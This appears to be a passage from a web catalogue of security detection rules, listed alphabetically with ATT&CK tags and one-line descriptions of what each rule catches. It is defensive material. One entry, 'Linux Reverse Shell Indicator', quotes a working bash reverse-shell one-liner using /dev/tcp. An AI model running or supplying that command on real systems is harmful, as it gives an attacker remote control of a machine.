Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 ·

Share on:

Detects a potentially suspicious empty user agent strings in proxy log. Could potentially indicate an uncommon request method.

Huawei BGP Authentication Failures

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion attack.credential-access attack.collection attack.t1078 attack.t1110 attack.t1557 ·

Share on:

Detects BGP failures which may be indicative of brute force attacks to manipulate routing.

HybridConnectionManager Service Installation

Aug 12, 2024 · attack.persistence attack.t1554 ·

Share on:

Rule to detect the Hybrid Connection Manager service installation.

HybridConnectionManager Service Installation - Registry

Aug 12, 2024 · attack.resource-development attack.t1608 ·

Share on:

Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.

HybridConnectionManager Service Running

Aug 12, 2024 · attack.persistence attack.t1554 ·

Share on:

Rule to detect the Hybrid Connection Manager service running on an endpoint.

Hypervisor Enforced Code Integrity Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the "Enabled" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel

Hypervisor Enforced Paging Translation Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects changes to the "DisableHypervisorEnforcedPagingTranslation" registry value. Where the it is set to "1" in order to disable the Hypervisor Enforced Paging Translation feature.

IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·

Share on:

Detects RunDLL32.exe executing a single digit DLL named "1.dll" with the export function "DllRegisterServer". This behaviour was often seen used by malware and especially IcedID

IE Change Domain Zone

Aug 12, 2024 · attack.persistence attack.t1137 ·

Share on:

Hides the file extension through modification of the registry

IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI

Aug 12, 2024 · attack.execution attack.defense-evasion ·

Share on:

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

Ie4uinit Lolbin Use From Invalid Path

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories

IIS Native-Code Module Command Line Installation

Aug 12, 2024 · attack.persistence attack.t1505.003 ·

Share on:

Detects suspicious IIS native-code module installations via command line

IIS WebServer Access Logs Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·

Share on:

Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence

ImagingDevices Unusual Parent/Child Processes

Aug 12, 2024 · attack.defense-evasion attack.execution ·

Share on:

Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity

Impacket PsExec Execution

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·

Share on:

Detects execution of Impacket's psexec.py.

Import LDAP Data Interchange Format File Via Ldifde.EXE

Aug 12, 2024 · attack.command-and-control attack.defense-evasion attack.t1218 attack.t1105 ·

Share on:

Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.

Import PowerShell Modules From Suspicious Directories

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects powershell scripts that import modules from suspicious directories

Import PowerShell Modules From Suspicious Directories - ProcCreation

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects powershell scripts that import modules from suspicious directories

Important Scheduled Task Deleted

Aug 12, 2024 · attack.impact attack.t1489 ·

Share on:

Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities

Important Scheduled Task Deleted/Disabled

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 ·

Share on:

Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities

Important Windows Event Auditing Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·

Share on:

Detects scenarios where system auditing for important events such as "Process Creation" or "Logon" events is disabled.

Important Windows Service Terminated Unexpectedly

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects important or interesting Windows services that got terminated unexpectedly.

Important Windows Service Terminated With Error

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects important or interesting Windows services that got terminated for whatever reason

Imports Registry Key From a File

Aug 12, 2024 · attack.t1112 attack.defense-evasion ·

Share on:

Detects the import of the specified file to the registry with regedit.exe.

Imports Registry Key From an ADS

Aug 12, 2024 · attack.t1112 attack.defense-evasion ·

Share on:

Detects the import of a alternate datastream to the registry with regedit.exe.

Impossible Travel

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·

Share on:

Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.

Increased Failed Authentications Of Any Type

Aug 12, 2024 · attack.defense-evasion attack.t1078 ·

Share on:

Detects when sign-ins increased by 10% or greater.

Indicator Removal on Host - Clear Mac System Logs

Aug 12, 2024 · attack.defense-evasion attack.t1070.002 ·

Share on:

Detects deletion of local audit logs

Indirect Command Execution By Program Compatibility Wizard

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·

Share on:

Detect indirect command execution via Program Compatibility Assistant pcwrun.exe

Indirect Command Execution From Script File Via Bash.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·

Share on:

Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.

Indirect Inline Command Execution Via Bash.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·

Share on:

Detects execution of Microsoft bash launcher with the "-c" flag. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.

InfDefaultInstall.exe .inf Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.

Ingress/Egress Security Group Modification

Aug 12, 2024 · attack.initial-access attack.t1190 ·

Share on:

Detects when an account makes changes to the ingress or egress rules of a security group. This can indicate that an attacker is attempting to open up new attack vectors in the account, that they are trying to exfiltrate data over the network, or that they are trying to allow machines in that VPC/Subnet to contact a C&C server.

Insecure Proxy/DOH Transfer Via Curl.EXE

Aug 12, 2024 · attack.execution ·

Share on:

Detects execution of "curl.exe" with the "insecure" flag over proxy or DOH.

Insecure Transfer Via Curl.EXE

Aug 12, 2024 · attack.execution ·

Share on:

Detects execution of "curl.exe" with the "--insecure" flag.

Install New Package Via Winget Local Manifest

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·

Share on:

Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.

Install Root Certificate

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·

Share on:

Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s

Installation of TeamViewer Desktop

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

TeamViewer_Desktop.exe is create during install

Interactive AT Job

Aug 12, 2024 · attack.privilege-escalation attack.t1053.002 ·

Share on:

Detects an interactive AT job, which may be used as a form of privilege escalation.

Interactive Bash Suspicious Children

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.004 attack.t1036 ·

Share on:

Detects suspicious interactive bash as a parent to rather uncommon child processes

Internet Explorer Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Internet Explorer DisableFirstRunCustomize Enabled

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects changes to the Internet Explorer "DisableFirstRunCustomize" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.

Invalid PIM License

Aug 12, 2024 · attack.t1078 attack.persistence attack.privilege-escalation ·

Share on:

Identifies when an organization doesn't have the proper license for PIM and is out of compliance.

Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·

Share on:

Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)

Invoke-Obfuscation CLIP+ Launcher

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Invoke-Obfuscation CLIP+ Launcher - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Invoke-Obfuscation CLIP+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Invoke-Obfuscation CLIP+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Invoke-Obfuscation CLIP+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Invoke-Obfuscation COMPRESS OBFUSCATION

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Invoke-Obfuscation COMPRESS OBFUSCATION - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Invoke-Obfuscation COMPRESS OBFUSCATION - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Invoke-Obfuscation Obfuscated IEX Invocation

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below

Invoke-Obfuscation Obfuscated IEX Invocation - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

Invoke-Obfuscation Obfuscated IEX Invocation - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Invoke-Obfuscation RUNDLL LAUNCHER - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Invoke-Obfuscation RUNDLL LAUNCHER - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Invoke-Obfuscation STDIN+ Launcher

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of stdin to execute PowerShell

Invoke-Obfuscation STDIN+ Launcher - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of stdin to execute PowerShell

Invoke-Obfuscation STDIN+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of stdin to execute PowerShell

Invoke-Obfuscation STDIN+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of stdin to execute PowerShell

Invoke-Obfuscation STDIN+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of stdin to execute PowerShell

Invoke-Obfuscation VAR+ Launcher

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Invoke-Obfuscation VAR+ Launcher - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Invoke-Obfuscation VAR+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Invoke-Obfuscation VAR+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Invoke-Obfuscation VAR+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Invoke-Obfuscation Via Stdin

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Invoke-Obfuscation Via Stdin - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Invoke-Obfuscation Via Stdin - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Invoke-Obfuscation Via Stdin - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Invoke-Obfuscation Via Stdin - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Invoke-Obfuscation Via Use Clip

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Invoke-Obfuscation Via Use Clip - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Invoke-Obfuscation Via Use Clip - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Invoke-Obfuscation Via Use Clip - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Invoke-Obfuscation Via Use Clip - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Invoke-Obfuscation Via Use MSHTA

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Invoke-Obfuscation Via Use MSHTA - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Invoke-Obfuscation Via Use MSHTA - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Invoke-Obfuscation Via Use MSHTA - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Invoke-Obfuscation Via Use MSHTA - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Invoke-Obfuscation Via Use Rundll32 - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Invoke-Obfuscation Via Use Rundll32 - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Invoke-Obfuscation Via Use Rundll32 - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Invoke-Obfuscation Via Use Rundll32 - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·

Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

ISO File Created Within Temp Folders

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·

Share on:

Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.

ISO Image Mounted

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·

Share on:

Detects the mount of an ISO image on an endpoint

ISO or Image Mount Indicator in Recent Files

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·

Share on:

Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.

JAMF MDM Execution

Aug 12, 2024 · attack.execution ·

Share on:

Detects execution of the "jamf" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.

JAMF MDM Potential Suspicious Child Process

Aug 12, 2024 · attack.execution ·

Share on:

Detects potential suspicious child processes of "jamf". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.

Java Payload Strings

Aug 12, 2024 · cve.2022-26134 cve.2021-26084 attack.initial-access attack.t1190 ·

Share on:

Detects possible Java payloads in web access logs

Java Running with Remote Debugging

Aug 12, 2024 · attack.t1203 attack.execution ·

Share on:

Detects a JAVA process running with remote debugging allowing more than just localhost to connect

JexBoss Command Sequence

Aug 12, 2024 · attack.execution attack.t1059.004 ·

Share on:

Detects suspicious command sequence that JexBoss

JNDIExploit Pattern

Aug 12, 2024 · attack.initial-access attack.t1190 ·

Share on:

Detects exploitation attempt using the JNDI-Exploit-Kit

JScript Compiler Execution

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·

Share on:

Detects the execution of the "jsc.exe" (JScript Compiler). Attacker might abuse this in order to compile JScript files on the fly and bypassing application whitelisting.

Juniper BGP Missing MD5

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion attack.credential-access attack.collection attack.t1078 attack.t1110 attack.t1557 ·

Share on:

Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.

JXA In-memory Execution Via OSAScript

Aug 12, 2024 · attack.t1059.002 attack.t1059.007 attack.execution ·

Share on:

Detects possible malicious execution of JXA in-memory via OSAScript

Kavremover Dropped Binary LOLBIN Usage

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·

Share on:

Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.

KDC RC4-HMAC Downgrade CVE-2022-37966

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation

Kerberos Manipulation

Aug 12, 2024 · attack.credential-access attack.t1212 ·

Share on:

Detects failed Kerberos TGT issue operation. This can be a sign of manipulations of TGT messages by an attacker.

Kerberos Network Traffic RC4 Ticket Encryption

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·

Share on:

Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting

KrbRelayUp Service Installation

Aug 12, 2024 · attack.privilege-escalation attack.t1543 ·

Share on:

Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings)

Kubernetes Admission Controller Modification

Aug 12, 2024 · attack.persistence attack.t1078 attack.credential-access attack.t1552 attack.t1552.007 ·

Share on:

Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials.

Kubernetes CronJob/Job Modification

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.execution ·

Share on:

Detects when a Kubernetes CronJob or Job is created or modified. A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule. An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.

Kubernetes Rolebinding Modification

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects when a Kubernetes Rolebinding is created or modified.

Kubernetes Secrets Modified or Deleted

Aug 12, 2024 · attack.credential-access ·

Share on:

Detects when Kubernetes Secrets are Modified or Deleted.

Launch-VsDevShell.PS1 Proxy Execution

Aug 12, 2024 · attack.defense-evasion attack.t1216.001 ·

Share on:

Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.

Lazarus Group Activity

Aug 12, 2024 · attack.g0032 attack.execution attack.t1059 detection.emerging-threats ·

Share on:

Detects different process execution behaviors as described in various threat reports on Lazarus group activity

Lazarus System Binary Masquerading

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 detection.emerging-threats ·

Share on:

Detects binaries used by the Lazarus group which use system names but are executed and launched from non-default location

Legitimate Application Dropped Archive

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects programs on a Windows system that should not write an archive to disk

Legitimate Application Dropped Executable

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects programs on a Windows system that should not write executables to disk

Legitimate Application Dropped Script

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects programs on a Windows system that should not write scripts to disk

Leviathan Registry Key Activity

Aug 12, 2024 · attack.persistence attack.t1547.001 detection.emerging-threats ·

Share on:

Detects registry key used by Leviathan APT in Malaysian focused campaign

Linux Base64 Encoded Pipe to Shell

Aug 12, 2024 · attack.defense-evasion attack.t1140 ·

Share on:

Detects suspicious process command line that uses base64 encoded input for execution with a shell

Linux Base64 Encoded Shebang In CLI

Aug 12, 2024 · attack.defense-evasion attack.t1140 ·

Share on:

Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded

Linux Capabilities Discovery

Aug 12, 2024 · attack.collection attack.privilege-escalation attack.t1123 attack.t1548 ·

Share on:

Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.

Linux Command History Tampering

Aug 12, 2024 · attack.defense-evasion attack.t1070.003 ·

Share on:

Detects commands that try to clear or tamper with the Linux command history. This technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as "bash_history" or "zsh_history".

Linux Crypto Mining Indicators

Aug 12, 2024 · attack.impact attack.t1496 ·

Share on:

Detects command line parameters or strings often used by crypto miners

Linux Crypto Mining Pool Connections

Aug 12, 2024 · attack.impact attack.t1496 ·

Share on:

Detects process connections to a Monero crypto mining pool

Linux Doas Conf File Creation

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·

Share on:

Detects the creation of doas.conf file in linux host platform.

Linux Doas Tool Execution

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·

Share on:

Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.

Linux Keylogging with Pam.d

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1056.001 ·

Share on:

Detect attempt to enable auditing of TTY input

Linux Network Service Scanning - Auditd

Aug 12, 2024 · attack.discovery attack.t1046 ·

Share on:

Detects enumeration of local or remote network services.

Linux Package Uninstall

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·

Share on:

Detects linux package removal using builtin tools such as "yum", "apt", "apt-get" or "dpkg".

Linux Recon Indicators

Aug 12, 2024 · attack.reconnaissance attack.t1592.004 attack.credential-access attack.t1552.001 ·

Share on:

Detects events with patterns found in commands used for reconnaissance on linux systems

Linux Remote System Discovery

Aug 12, 2024 · attack.discovery attack.t1018 ·

Share on:

Detects the enumeration of other remote systems.

Linux Reverse Shell Indicator

Aug 12, 2024 · attack.execution attack.t1059.004 ·

Share on:

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Linux Shell Pipe to Shell

Aug 12, 2024 · attack.defense-evasion attack.t1140 ·

Share on:

Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell

Linux Webshell Indicators

Aug 12, 2024 · attack.persistence attack.t1505.003 ·

Share on:

Detects suspicious sub processes of web server processes

Live Memory Dump Using Powershell

Aug 12, 2024 · attack.t1003 ·

Share on:

Detects usage of a PowerShell command to dump the live memory of a Windows machine

LiveKD Driver Creation

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·

Share on:

Detects the creation of the LiveKD driver, which is used for live kernel debugging

LiveKD Driver Creation By Uncommon Process

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·

Share on:

Detects the creation of the LiveKD driver by a process image other than "livekd.exe".

LiveKD Kernel Memory Dump File Created

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·

Share on:

Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.

LoadBalancer Security Group Modification

Aug 12, 2024 · attack.initial-access attack.t1190 ·

Share on:

Detects changes to the security groups associated with an Elastic Load Balancer (ELB) or Application Load Balancer (ALB). This can indicate that a misconfiguration allowing more traffic into the system than required, or could indicate that an attacker is attempting to enable new connections into a VPC or subnet controlled by the account.

Loading Diagcab Package From Remote Path

Aug 12, 2024 · attack.execution ·

Share on:

Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability

Loading of Kernel Module via Insmod

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1547.006 ·

Share on:

Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.

Local Accounts Discovery

Aug 12, 2024 · attack.discovery attack.t1033 attack.t1087.001 ·

Share on:

Local accounts, System Owner/User discovery using operating systems utilities

Local File Read Using Curl.EXE

Aug 12, 2024 · attack.execution ·

Share on:

Detects execution of "curl.exe" with the "file://" protocol handler in order to read local files.

Local Groups Discovery - Linux

Aug 12, 2024 · attack.discovery attack.t1069.001 ·

Share on:

Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings

Local Groups Discovery - MacOs

Aug 12, 2024 · attack.discovery attack.t1069.001 ·

Share on:

Detects enumeration of local system groups

Local Groups Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.discovery attack.t1069.001 ·

Share on:

